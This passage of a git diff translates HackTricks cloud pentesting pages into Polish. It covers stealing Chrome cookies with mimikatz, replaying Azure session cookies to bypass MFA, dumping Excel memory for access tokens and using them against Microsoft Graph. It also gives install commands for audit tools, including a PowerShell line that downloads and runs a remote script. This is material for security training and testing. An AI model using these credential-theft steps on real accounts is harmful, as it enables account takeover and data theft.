jeśli są szyfrowane, za pomocą tego polecenia: ```bash mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\cookies /unprotect" exit ``` +Dla Azure, interesują nas ciasteczka uwierzytelniające, w tym **`ESTSAUTH`**, **`ESTSAUTHPERSISTENT`** i **`ESTSAUTHLIGHT`**. Są one obecne, ponieważ użytkownik był ostatnio aktywny na Azure. -For Azure, we care about the authentication cookies including **`ESTSAUTH`**, **`ESTSAUTHPERSISTENT`**, and **`ESTSAUTHLIGHT`**. Those are there because the user has been active on Azure lately. - -Just navigate to login.microsoftonline.com and add the cookie **`ESTSAUTHPERSISTENT`** (generated by “Stay Signed In” option) or **`ESTSAUTH`**. And you will be authenticated. +Po prostu przejdź do login.microsoftonline.com i dodaj ciasteczko **`ESTSAUTHPERSISTENT`** (wygenerowane przez opcję „Pozostań zalogowany”) lub **`ESTSAUTH`**. A będziesz uwierzytelniony. ## References - [https://stealthbits.com/blog/bypassing-mfa-with-pass-the-cookie/](https://stealthbits.com/blog/bypassing-mfa-with-pass-the-cookie/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md index 28bc5b415..c8da57155 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md @@ -2,10 +2,6 @@ {{#include ../../../banners/hacktricks-training.md}} -**Check:** [**https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/**](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/) +**Sprawdź:** [**https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/**](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md index a79c7a659..12bff40d7 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md @@ -2,10 +2,6 @@ {{#include ../../../banners/hacktricks-training.md}} -**Chec the post in** [**https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) although another post explaining the same can be found in [**https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30**](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30) +**Sprawdź post na** [**https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) chociaż inny post wyjaśniający to samo można znaleźć pod adresem [**https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30**](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md index 1ba819b3a..9cb5f10df 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md @@ -2,16 +2,15 @@ {{#include ../../../banners/hacktricks-training.md}} -## **Basic Information** +## **Podstawowe informacje** -As explained in [**this video**](https://www.youtube.com/watch?v=OHKZkXC4Duw), some Microsoft software synchronized with the cloud (Excel, Teams...) might **store access tokens in clear-text in memory**. So just **dumping** the **memory** of the process and **grepping for JWT tokens** might grant you access over several resources of the victim in the cloud bypassing MFA. +Jak wyjaśniono w [**tym filmie**](https://www.youtube.com/watch?v=OHKZkXC4Duw), niektóre oprogramowanie Microsoftu synchronizowane z chmurą (Excel, Teams...) może **przechowywać tokeny dostępu w postaci tekstu jawnego w pamięci**. Więc po prostu **zrzucenie** **pamięci** procesu i **przeszukiwanie pod kątem tokenów JWT** może dać ci dostęp do kilku zasobów ofiary w chmurze, omijając MFA. -Steps: - -1. Dump the excel processes synchronized with in EntraID user with your favourite tool. -2. Run: `string excel.dmp | grep 'eyJ0'` and find several tokens in the output -3. Find the tokens that interest you the most and run tools over them: +Kroki: +1. Zrzutuj procesy excela synchronizowane z użytkownikiem EntraID za pomocą swojego ulubionego narzędzia. +2. Uruchom: `string excel.dmp | grep 'eyJ0'` i znajdź kilka tokenów w wynikach +3. Znajdź tokeny, które najbardziej cię interesują, i uruchom nad nimi narzędzia: ```bash # Check the identity of the token curl -s -H "Authorization: Bearer " https://graph.microsoft.com/v1.0/me | jq @@ -31,11 +30,6 @@ curl -s -H "Authorization: Bearer " 'https://graph.microsoft.com/v1.0/sit ┌──(magichk㉿black-pearl)-[~] └─$ curl -o -L -H "Authorization: Bearer " '<@microsoft.graph.downloadUrl>' ``` - -**Note that these kind of access tokens can be also found inside other processes.** +**Zauważ, że tego rodzaju tokeny dostępu można również znaleźć w innych procesach.** {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md b/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md index 39ee71d6c..b290f8daa 100644 --- a/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md +++ b/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md @@ -2,10 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} -To start the tests you should have access with a user with **Reader permissions over the subscription** and **Global Reader role in AzureAD**. If even in that case you are **not able to access the content of the Storage accounts** you can fix it with the **role Storage Account Contributor**. +Aby rozpocząć testy, powinieneś mieć dostęp z użytkownikiem z **uprawnieniami Czytelnika do subskrypcji** oraz **rolą Global Reader w AzureAD**. Jeśli nawet w tym przypadku **nie możesz uzyskać dostępu do zawartości kont Storage**, możesz to naprawić za pomocą **roli Storage Account Contributor**. {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/pentesting-cloud-methodology.md b/src/pentesting-cloud/pentesting-cloud-methodology.md index 0be67db54..6a9f0bddf 100644 --- a/src/pentesting-cloud/pentesting-cloud-methodology.md +++ b/src/pentesting-cloud/pentesting-cloud-methodology.md @@ -4,45 +4,44 @@
-## Basic Methodology +## Podstawowa Metodologia -Each cloud has its own peculiarities but in general there are a few **common things a pentester should check** when testing a cloud environment: +Każda chmura ma swoje własne szczególności, ale ogólnie istnieje kilka **wspólnych rzeczy, które pentester powinien sprawdzić** podczas testowania środowiska chmurowego: -- **Benchmark checks** - - This will help you **understand the size** of the environment and **services used** - - It will allow you also to find some **quick misconfigurations** as you can perform most of this tests with **automated tools** -- **Services Enumeration** - - You probably won't find much more misconfigurations here if you performed correctly the benchmark tests, but you might find some that weren't being looked for in the benchmark test. - - This will allow you to know **what is exactly being used** in the cloud env - - This will help a lot in the next steps -- **Check exposed assets** - - This can be done during the previous section, you need to **find out everything that is potentially exposed** to the Internet somehow and how can it be accessed. - - Here I'm taking **manually exposed infrastructure** like instances with web pages or other ports being exposed, and also about other **cloud managed services that can be configured** to be exposed (such as DBs or buckets) - - Then you should check **if that resource can be exposed or not** (confidential information? vulnerabilities? misconfigurations in the exposed service?) -- **Check permissions** - - Here you should **find out all the permissions of each role/user** inside the cloud and how are they used - - Too **many highly privileged** (control everything) accounts? Generated keys not used?... Most of these check should have been done in the benchmark tests already - - If the client is using OpenID or SAML or other **federation** you might need to ask them for further **information** about **how is being each role assigned** (it's not the same that the admin role is assigned to 1 user or to 100) - - It's **not enough to find** which users has **admin** permissions "\*:\*". There are a lot of **other permissions** that depending on the services used can be very **sensitive**. - - Moreover, there are **potential privesc** ways to follow abusing permissions. All this things should be taken into account and **as much privesc paths as possible** should be reported. -- **Check Integrations** - - It's highly probably that **integrations with other clouds or SaaS** are being used inside the cloud env. - - For **integrations of the cloud you are auditing** with other platform you should notify **who has access to (ab)use that integration** and you should ask **how sensitive** is the action being performed.\ - For example, who can write in an AWS bucket where GCP is getting data from (ask how sensitive is the action in GCP treating that data). - - For **integrations inside the cloud you are auditing** from external platforms, you should ask **who has access externally to (ab)use that integration** and check how is that data being used.\ - For example, if a service is using a Docker image hosted in GCR, you should ask who has access to modify that and which sensitive info and access will get that image when executed inside an AWS cloud. +- **Sprawdzanie standardów** +- To pomoże Ci **zrozumieć rozmiar** środowiska i **używane usługi** +- Pozwoli Ci to również znaleźć kilka **szybkich błędów konfiguracyjnych**, ponieważ większość tych testów można przeprowadzić za pomocą **automatycznych narzędzi** +- **Enumaracja usług** +- Prawdopodobnie nie znajdziesz tutaj wielu dodatkowych błędów konfiguracyjnych, jeśli poprawnie przeprowadziłeś testy standardów, ale możesz znaleźć niektóre, które nie były brane pod uwagę w teście standardów. +- To pozwoli Ci wiedzieć **co dokładnie jest używane** w środowisku chmurowym +- To bardzo pomoże w kolejnych krokach +- **Sprawdź wystawione zasoby** +- Można to zrobić podczas poprzedniej sekcji, musisz **dowiedzieć się, co jest potencjalnie wystawione** w jakiś sposób na Internet i jak można to uzyskać. +- Tutaj mam na myśli **ręcznie wystawioną infrastrukturę**, taką jak instancje z stronami internetowymi lub innymi portami, które są wystawione, a także inne **usługi zarządzane w chmurze, które mogą być skonfigurowane** do wystawienia (takie jak bazy danych lub kosze) +- Następnie powinieneś sprawdzić **czy ten zasób może być wystawiony czy nie** (informacje poufne? luki? błędy konfiguracyjne w wystawionej usłudze?) +- **Sprawdź uprawnienia** +- Tutaj powinieneś **dowiedzieć się o wszystkich uprawnieniach każdego roli/użytkownika** w chmurze i jak są one używane +- Zbyt **wiele wysoko uprzywilejowanych** (kontrolujących wszystko) kont? Wygenerowane klucze, które nie są używane?... Większość tych sprawdzeń powinna być już wykonana w testach standardów +- Jeśli klient korzysta z OpenID lub SAML lub innej **federacji**, możesz potrzebować poprosić ich o dodatkowe **informacje** na temat **jak każda rola jest przypisywana** (to nie to samo, co przypisanie roli administratora do 1 użytkownika lub do 100) +- **Nie wystarczy znaleźć**, którzy użytkownicy mają **uprawnienia administratora** "\*:\*". Istnieje wiele **innych uprawnień**, które w zależności od używanych usług mogą być bardzo **wrażliwe**. +- Co więcej, istnieją **potencjalne ścieżki privesc**, które można śledzić, nadużywając uprawnień. Wszystkie te rzeczy powinny być brane pod uwagę, a **jak najwięcej ścieżek privesc powinno być zgłoszonych**. +- **Sprawdź integracje** +- Jest bardzo prawdopodobne, że **integracje z innymi chmurami lub SaaS** są używane w środowisku chmurowym. +- Dla **integracji chmury, którą audytujesz** z inną platformą powinieneś powiadomić **kto ma dostęp do (nadużywania) tej integracji** i powinieneś zapytać **jak wrażliwa** jest wykonywana akcja.\ +Na przykład, kto może pisać w koszu AWS, z którego GCP pobiera dane (zapytaj, jak wrażliwa jest akcja w GCP w związku z tymi danymi). +- Dla **integracji wewnątrz chmury, którą audytujesz** z zewnętrznych platform, powinieneś zapytać **kto ma dostęp zewnętrzny do (nadużywania) tej integracji** i sprawdzić, jak te dane są używane.\ +Na przykład, jeśli usługa korzysta z obrazu Dockera hostowanego w GCR, powinieneś zapytać, kto ma dostęp do jego modyfikacji i jakie wrażliwe informacje oraz dostęp uzyska ten obraz po uruchomieniu w chmurze AWS. -## Multi-Cloud tools +## Narzędzia Multi-Cloud -There are several tools that can be used to test different cloud environments. The installation steps and links are going to be indicated in this section. +Istnieje kilka narzędzi, które można wykorzystać do testowania różnych środowisk chmurowych. Kroki instalacji i linki będą wskazane w tej sekcji. ### [PurplePanda](https://github.com/carlospolop/purplepanda) -A tool to **identify bad configurations and privesc path in clouds and across clouds/SaaS.** +Narzędzie do **identyfikacji złych konfiguracji i ścieżek privesc w chmurach i między chmurami/SaaS.** {{#tabs }} {{#tab name="Install" }} - ```bash # You need to install and run neo4j also git clone https://github.com/carlospolop/PurplePanda @@ -54,29 +53,25 @@ export PURPLEPANDA_NEO4J_URL="bolt://neo4j@localhost:7687" export PURPLEPANDA_PWD="neo4j_pwd_4_purplepanda" python3 main.py -h # Get help ``` - {{#endtab }} {{#tab name="GCP" }} - ```bash export GOOGLE_DISCOVERY=$(echo 'google: - file_path: "" - file_path: "" - service_account_id: "some-sa-email@sidentifier.iam.gserviceaccount.com"' | base64) +service_account_id: "some-sa-email@sidentifier.iam.gserviceaccount.com"' | base64) python3 main.py -a -p google #Get basic info of the account to check it's correctly configured python3 main.py -e -p google #Enumerate the env ``` - {{#endtab }} {{#endtabs }} ### [Prowler](https://github.com/prowler-cloud/prowler) -It supports **AWS, GCP & Azure**. Check how to configure each provider in [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws) - +Obsługuje **AWS, GCP i Azure**. Sprawdź, jak skonfigurować każdego dostawcę w [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws) ```bash # Install pip install prowler @@ -91,14 +86,12 @@ prowler aws --profile custom-profile [-M csv json json-asff html] prowler --list-checks prowler --list-services ``` - ### [CloudSploit](https://github.com/aquasecurity/cloudsploit) AWS, Azure, Github, Google, Oracle, Alibaba {{#tabs }} -{{#tab name="Install" }} - +{{#tab name="Instalacja" }} ```bash # Install git clone https://github.com/aquasecurity/cloudsploit.git @@ -107,16 +100,13 @@ npm install ./index.js -h ## Docker instructions in github ``` - {{#endtab }} {{#tab name="GCP" }} - ```bash ## You need to have creds for a service account and set them in config.js file ./index.js --cloud google --config ``` - {{#endtab }} {{#endtabs }} @@ -125,8 +115,7 @@ npm install AWS, Azure, GCP, Alibaba Cloud, Oracle Cloud Infrastructure {{#tabs }} -{{#tab name="Install" }} - +{{#tab name="Instalacja" }} ```bash mkdir scout; cd scout virtualenv -p python3 venv @@ -135,24 +124,21 @@ pip install scoutsuite scout --help ## Using Docker: https://github.com/nccgroup/ScoutSuite/wiki/Docker-Image ``` - {{#endtab }} {{#tab name="GCP" }} - ```bash scout gcp --report-dir /tmp/gcp --user-account --all-projects ## use "--service-account KEY_FILE" instead of "--user-account" to use a service account SCOUT_FOLDER_REPORT="/tmp" for pid in $(gcloud projects list --format="value(projectId)"); do - echo "================================================" - echo "Checking $pid" - mkdir "$SCOUT_FOLDER_REPORT/$pid" - scout gcp --report-dir "$SCOUT_FOLDER_REPORT/$pid" --no-browser --user-account --project-id "$pid" +echo "================================================" +echo "Checking $pid" +mkdir "$SCOUT_FOLDER_REPORT/$pid" +scout gcp --report-dir "$SCOUT_FOLDER_REPORT/$pid" --no-browser --user-account --project-id "$pid" done ``` - {{#endtab }} {{#endtabs }} @@ -160,17 +146,14 @@ done {{#tabs }} {{#tab name="Install" }} -Download and install Steampipe ([https://steampipe.io/downloads](https://steampipe.io/downloads)). Or use Brew: - +Pobierz i zainstaluj Steampipe ([https://steampipe.io/downloads](https://steampipe.io/downloads)). Lub użyj Brew: ``` brew tap turbot/tap brew install steampipe ``` - {{#endtab }} {{#tab name="GCP" }} - ```bash # Install gcp plugin steampipe plugin install gcp @@ -183,13 +166,11 @@ steampipe dashboard # To run all the checks from rhe cli steampipe check all ``` -
-Check all Projects - -In order to check all the projects you need to generate the `gcp.spc` file indicating all the projects to test. You can just follow the indications from the following script +Sprawdź wszystkie projekty +Aby sprawdzić wszystkie projekty, musisz wygenerować plik `gcp.spc`, wskazując wszystkie projekty do przetestowania. Możesz po prostu postępować zgodnie z instrukcjami z poniższego skryptu. ```bash FILEPATH="/tmp/gcp.spc" rm -rf "$FILEPATH" 2>/dev/null @@ -197,32 +178,30 @@ rm -rf "$FILEPATH" 2>/dev/null # Generate a json like object for each project for pid in $(gcloud projects list --format="value(projectId)"); do echo "connection \"gcp_$(echo -n $pid | tr "-" "_" )\" { - plugin = \"gcp\" - project = \"$pid\" +plugin = \"gcp\" +project = \"$pid\" }" >> "$FILEPATH" done # Generate the aggragator to call echo 'connection "gcp_all" { - plugin = "gcp" - type = "aggregator" - connections = ["gcp_*"] +plugin = "gcp" +type = "aggregator" +connections = ["gcp_*"] }' >> "$FILEPATH" echo "Copy $FILEPATH in ~/.steampipe/config/gcp.spc if it was correctly generated" ``` -
-To check **other GCP insights** (useful for enumerating services) use: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights) +Aby sprawdzić **inne informacje GCP** (przydatne do enumeracji usług) użyj: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights) -To check Terraform GCP code: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance) +Aby sprawdzić kod Terraform GCP: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance) -More GCP plugins of Steampipe: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp) +Więcej wtyczek GCP Steampipe: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp) {{#endtab }} {{#tab name="AWS" }} - ```bash # Install aws plugin steampipe plugin install aws @@ -246,29 +225,27 @@ cd steampipe-mod-aws-compliance steampipe dashboard # To see results in browser steampipe check all --export=/tmp/output4.json ``` +Aby sprawdzić kod Terraform AWS: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance) -To check Terraform AWS code: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance) - -More AWS plugins of Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws) +Więcej wtyczek AWS Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws) {{#endtab }} {{#endtabs }} ### [~~cs-suite~~](https://github.com/SecurityFTW/cs-suite) AWS, GCP, Azure, DigitalOcean.\ -It requires python2.7 and looks unmaintained. +Wymaga python2.7 i wygląda na nieutrzymywane. ### Nessus -Nessus has an _**Audit Cloud Infrastructure**_ scan supporting: AWS, Azure, Office 365, Rackspace, Salesforce. Some extra configurations in **Azure** are needed to obtain a **Client Id**. +Nessus ma skan _**Audit Cloud Infrastructure**_ wspierający: AWS, Azure, Office 365, Rackspace, Salesforce. Wymagane są dodatkowe konfiguracje w **Azure**, aby uzyskać **Client Id**. ### [**cloudlist**](https://github.com/projectdiscovery/cloudlist) -Cloudlist is a **multi-cloud tool for getting Assets** (Hostnames, IP Addresses) from Cloud Providers. +Cloudlist to **narzędzie multi-cloud do pozyskiwania zasobów** (nazwy hostów, adresy IP) od dostawców chmury. {{#tabs }} {{#tab name="Cloudlist" }} - ```bash cd /tmp wget https://github.com/projectdiscovery/cloudlist/releases/latest/download/cloudlist_1.0.1_macOS_arm64.zip @@ -276,46 +253,40 @@ unzip cloudlist_1.0.1_macOS_arm64.zip chmod +x cloudlist sudo mv cloudlist /usr/local/bin ``` - {{#endtab }} -{{#tab name="Second Tab" }} - +{{#tab name="Druga zakładka" }} ```bash ## For GCP it requires service account JSON credentials cloudlist -config ``` - {{#endtab }} {{#endtabs }} ### [**cartography**](https://github.com/lyft/cartography) -Cartography is a Python tool that consolidates infrastructure assets and the relationships between them in an intuitive graph view powered by a Neo4j database. +Cartography to narzędzie w Pythonie, które konsoliduje zasoby infrastruktury oraz relacje między nimi w intuicyjnym widoku graficznym zasilanym przez bazę danych Neo4j. {{#tabs }} {{#tab name="Install" }} - ```bash # Installation docker image pull ghcr.io/lyft/cartography docker run --platform linux/amd64 ghcr.io/lyft/cartography cartography --help ## Install a Neo4j DB version 3.5.* ``` - {{#endtab }} {{#tab name="GCP" }} - ```bash docker run --platform linux/amd64 \ - --volume "$HOME/.config/gcloud/application_default_credentials.json:/application_default_credentials.json" \ - -e GOOGLE_APPLICATION_CREDENTIALS="/application_default_credentials.json" \ - -e NEO4j_PASSWORD="s3cr3t" \ - ghcr.io/lyft/cartography \ - --neo4j-uri bolt://host.docker.internal:7687 \ - --neo4j-password-env-var NEO4j_PASSWORD \ - --neo4j-user neo4j +--volume "$HOME/.config/gcloud/application_default_credentials.json:/application_default_credentials.json" \ +-e GOOGLE_APPLICATION_CREDENTIALS="/application_default_credentials.json" \ +-e NEO4j_PASSWORD="s3cr3t" \ +ghcr.io/lyft/cartography \ +--neo4j-uri bolt://host.docker.internal:7687 \ +--neo4j-password-env-var NEO4j_PASSWORD \ +--neo4j-user neo4j # It only checks for a few services inside GCP (https://lyft.github.io/cartography/modules/gcp/index.html) @@ -326,17 +297,15 @@ docker run --platform linux/amd64 \ ## Google Kubernetes Engine ### If you can run starbase or purplepanda you will get more info ``` - {{#endtab }} {{#endtabs }} ### [**starbase**](https://github.com/JupiterOne/starbase) -Starbase collects assets and relationships from services and systems including cloud infrastructure, SaaS applications, security controls, and more into an intuitive graph view backed by the Neo4j database. +Starbase zbiera zasoby i relacje z usług i systemów, w tym infrastruktury chmurowej, aplikacji SaaS, kontroli bezpieczeństwa i innych, w intuicyjny widok graficzny wspierany przez bazę danych Neo4j. {{#tabs }} {{#tab name="Install" }} - ```bash # You are going to need Node version 14, so install nvm following https://tecadmin.net/install-nvm-macos-with-homebrew/ npm install --global yarn @@ -359,44 +328,40 @@ docker build --no-cache -t starbase:latest . docker-compose run starbase setup docker-compose run starbase run ``` - {{#endtab }} {{#tab name="GCP" }} - ```yaml ## Config for GCP ### Check out: https://github.com/JupiterOne/graph-google-cloud/blob/main/docs/development.md ### It requires service account credentials integrations: - - name: graph-google-cloud - instanceId: testInstanceId - directory: ./.integrations/graph-google-cloud - gitRemoteUrl: https://github.com/JupiterOne/graph-google-cloud.git - config: - SERVICE_ACCOUNT_KEY_FILE: "{Check https://github.com/JupiterOne/graph-google-cloud/blob/main/docs/development.md#service_account_key_file-string}" - PROJECT_ID: "" - FOLDER_ID: "" - ORGANIZATION_ID: "" - CONFIGURE_ORGANIZATION_PROJECTS: false +- name: graph-google-cloud +instanceId: testInstanceId +directory: ./.integrations/graph-google-cloud +gitRemoteUrl: https://github.com/JupiterOne/graph-google-cloud.git +config: +SERVICE_ACCOUNT_KEY_FILE: "{Check https://github.com/JupiterOne/graph-google-cloud/blob/main/docs/development.md#service_account_key_file-string}" +PROJECT_ID: "" +FOLDER_ID: "" +ORGANIZATION_ID: "" +CONFIGURE_ORGANIZATION_PROJECTS: false storage: - engine: neo4j - config: - username: neo4j - password: s3cr3t - uri: bolt://localhost:7687 - #Consider using host.docker.internal if from docker +engine: neo4j +config: +username: neo4j +password: s3cr3t +uri: bolt://localhost:7687 +#Consider using host.docker.internal if from docker ``` - {{#endtab }} {{#endtabs }} ### [**SkyArk**](https://github.com/cyberark/SkyArk) -Discover the most privileged users in the scanned AWS or Azure environment, including the AWS Shadow Admins. It uses powershell. - +Odkryj najbardziej uprzywilejowanych użytkowników w zeskanowanym środowisku AWS lub Azure, w tym AWS Shadow Admins. Używa powershell. ```powershell Import-Module .\SkyArk.ps1 -force Start-AzureStealth @@ -405,18 +370,17 @@ Start-AzureStealth IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cyberark/SkyArk/master/AzureStealth/AzureStealth.ps1') Scan-AzureAdmins ``` - ### [Cloud Brute](https://github.com/0xsha/CloudBrute) -A tool to find a company (target) infrastructure, files, and apps on the top cloud providers (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode). +Narzędzie do znajdowania infrastruktury, plików i aplikacji firmy (cel) na czołowych dostawcach chmury (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode). ### [CloudFox](https://github.com/BishopFox/cloudfox) -- CloudFox is a tool to find exploitable attack paths in cloud infrastructure (currently only AWS & Azure supported with GCP upcoming). -- It is an enumeration tool which is intended to compliment manual pentesting. -- It doesn't create or modify any data within the cloud environment. +- CloudFox to narzędzie do znajdowania wykorzystywalnych ścieżek ataku w infrastrukturze chmurowej (obecnie wspierane tylko AWS i Azure, GCP wkrótce). +- Jest to narzędzie do enumeracji, które ma na celu uzupełnienie ręcznego pentestingu. +- Nie tworzy ani nie modyfikuje żadnych danych w środowisku chmurowym. -### More lists of cloud security tools +### Więcej list narzędzi do zabezpieczeń chmurowych - [https://github.com/RyanJarv/awesome-cloud-sec](https://github.com/RyanJarv/awesome-cloud-sec) @@ -448,14 +412,10 @@ azure-security/ ### Attack Graph -[**Stormspotter** ](https://github.com/Azure/Stormspotter)creates an “attack graph” of the resources in an Azure subscription. It enables red teams and pentesters to visualize the attack surface and pivot opportunities within a tenant, and supercharges your defenders to quickly orient and prioritize incident response work. +[**Stormspotter** ](https://github.com/Azure/Stormspotter)tworzy „graf ataku” zasobów w subskrypcji Azure. Umożliwia zespołom red i pentesterom wizualizację powierzchni ataku i możliwości pivotowania w obrębie najemcy, a także wspomaga obrońców w szybkim orientowaniu się i priorytetyzowaniu pracy związanej z odpowiedzią na incydenty. ### Office365 -You need **Global Admin** or at least **Global Admin Reader** (but note that Global Admin Reader is a little bit limited). However, those limitations appear in some PS modules and can be bypassed accessing the features **via the web application**. +Potrzebujesz **Global Admin** lub przynajmniej **Global Admin Reader** (ale zauważ, że Global Admin Reader jest nieco ograniczony). Jednak te ograniczenia pojawiają się w niektórych modułach PS i można je obejść, uzyskując dostęp do funkcji **za pośrednictwem aplikacji internetowej**. {{#include ../banners/hacktricks-training.md}} - - - -